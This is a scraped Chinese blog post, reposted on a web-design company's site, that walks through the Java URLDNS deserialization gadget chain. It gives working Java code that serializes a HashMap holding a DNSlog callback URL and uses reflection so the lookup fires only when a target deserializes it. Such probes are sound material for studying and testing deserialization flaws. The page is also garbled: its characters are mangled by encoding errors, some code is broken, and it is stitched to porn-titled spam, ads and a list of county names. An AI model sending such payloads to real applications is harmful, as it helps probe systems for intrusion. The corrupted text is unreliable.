成人午夜视频全免费观看高清-秋霞福利视频一区二区三区-国产精品久久久久电影小说-亚洲不卡区三一区三区一区

URLDNS鏈-創(chuàng)新互聯(lián)

聽(tīng)說(shuō)這個(gè)鏈子是最簡(jiǎn)單的鏈子之一了,但是卻是來(lái)來(lái)回回看了好多遍才勉強(qiáng)看明白。

成都創(chuàng)新互聯(lián)公司2013年至今,先為林甸等服務(wù)建站,林甸等地企業(yè),進(jìn)行企業(yè)商務(wù)咨詢服務(wù)。為林甸企業(yè)網(wǎng)站制作PC+手機(jī)+微官網(wǎng)三網(wǎng)同步一站式服務(wù)解決您的所有建站問(wèn)題。

在 ysoserial 中我們可以看見(jiàn)鏈子是這樣的:

*Gadget Chain:

* HashMap.readObject()

* HashMap.putVal()

* HashMap.hash()

* URL.hashCode()

簡(jiǎn)單流程:

1.HashMap接收一個(gè)類O(URL類)

2.類O(URL類)的hashCode()后續(xù)的一串鏈子可以發(fā)起DNS請(qǐng)求

3.HashMap的readObject剛好可以調(diào)用O.hashCode();

現(xiàn)在我們來(lái)編寫類來(lái)觀察如何觸發(fā)DNS請(qǐng)求

package packet1;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializeTest{
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception {
        HashMaphashmap = new HashMap();
        URL url = new URL("http://25d13c3b.dns.1433.eu.org");
        Classclazz = url.getClass();
        hashmap.put(url, 1);
        serialize(hashmap);
    }
}

這個(gè)類可以進(jìn)行序列化,按照正常來(lái)說(shuō)序列化的過(guò)程是不會(huì)進(jìn)行DNS請(qǐng)求的,但是我們查看DNSlog平臺(tái):

發(fā)現(xiàn)序列化的時(shí)候就發(fā)起請(qǐng)求了,這樣有幾個(gè)非常不好的地方:

  1. 影響我們判斷是否有URLDNS這個(gè)漏洞存在(因?yàn)槲覀兪窍胍葱蛄谢臅r(shí)候觸發(fā))
  2. 最重要的是其實(shí)在序列化之后URL類里面的hashCode已經(jīng)被改變了,反序列化的時(shí)候并不會(huì)觸發(fā)

下圖是URL類中的hashCode()方法;

這里只有當(dāng)hashCode不為負(fù)一的時(shí)候才會(huì)走h(yuǎn)andler發(fā)起DNS請(qǐng)求

hashCode在初始化的時(shí)候已經(jīng)被賦值成-1了:

但是我們序列化之后值已經(jīng)被改變成為handler.hashCode了

那么就有一個(gè)疑問(wèn),序列化的時(shí)候是怎么觸發(fā)的?

我們跟進(jìn)put:

發(fā)現(xiàn)會(huì)調(diào)用hash函數(shù)。跟進(jìn)hash:

發(fā)現(xiàn)調(diào)用handler,并且此時(shí)hashCode的值被改變

跟進(jìn)hashcode:

調(diào)用getProtocol(),調(diào)用getHost():

其他更細(xì)節(jié)的我就沒(méi)跟進(jìn),但是我們需要知道調(diào)用URL的hashCode()之后,并且hashCode的值不為-1就會(huì)發(fā)起DNS請(qǐng)求。所以我們可以通過(guò)反射技術(shù)來(lái)改變值,以此來(lái)達(dá)到序列化的時(shí)候不進(jìn)行DNS請(qǐng)求,但是反序列化的時(shí)候會(huì)進(jìn)行DNS請(qǐng)求

所以讓我們來(lái)改進(jìn)代碼:

序列化代碼:

package packet1;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializeTest{
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception {
        HashMaphashmap = new HashMap();
        URL url = new URL("http://25d13c3b.dns.1433.eu.org");
        Classclazz = url.getClass();
        Field field = clazz.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url, 1234);
        hashmap.put(url, 1);
        field.set(url, -1);
        serialize(hashmap);
    }
}

在put之前我們改變url的hashCode值不為-1,put之后我們把url的hashCode改為-1,之后再對(duì)hashmap進(jìn)行序列化。

反序列化代碼:

package packet1;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnSerializeTest {
    public static Object unSerialize(String Filename) throws IOException , ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        unSerialize("ser.bin");
    }
}

經(jīng)過(guò)測(cè)試之后,序列化的時(shí)候不會(huì)發(fā)起DNS請(qǐng)求,反序列化之后可以發(fā)起DNS請(qǐng)求.

你是否還在尋找穩(wěn)定的海外服務(wù)器提供商?創(chuàng)新互聯(lián)www.cdcxhl.cn海外機(jī)房具備T級(jí)流量清洗系統(tǒng)配攻擊溯源,準(zhǔn)確流量調(diào)度確保服務(wù)器高可用性,企業(yè)級(jí)服務(wù)器適合批量采購(gòu),新人活動(dòng)首月15元起,快前往官網(wǎng)查看詳情吧

文章名稱:URLDNS鏈-創(chuàng)新互聯(lián)
標(biāo)題鏈接:http://jinyejixie.com/article44/hgphe.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供標(biāo)簽優(yōu)化、移動(dòng)網(wǎng)站建設(shè)、靜態(tài)網(wǎng)站、虛擬主機(jī)、網(wǎng)站收錄、App設(shè)計(jì)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

成都網(wǎng)頁(yè)設(shè)計(jì)公司
安乡县| 衡阳市| 泰州市| 偃师市| 阜康市| 古交市| 福安市| 余姚市| 霍山县| 馆陶县| 东城区| 祁连县| 贺兰县| 新和县| 仪陇县| 丹巴县| 江川县| 墨脱县| 洪湖市| 武平县| 友谊县| 天峻县| 金溪县| 元江| 年辖:市辖区| 铅山县| 多伦县| 洛川县| 昭平县| 兴安盟| 邓州市| 措勤县| 伊春市| 弥勒县| 兴隆县| 惠安县| 清新县| 日土县| 靖边县| 班戈县| 长武县|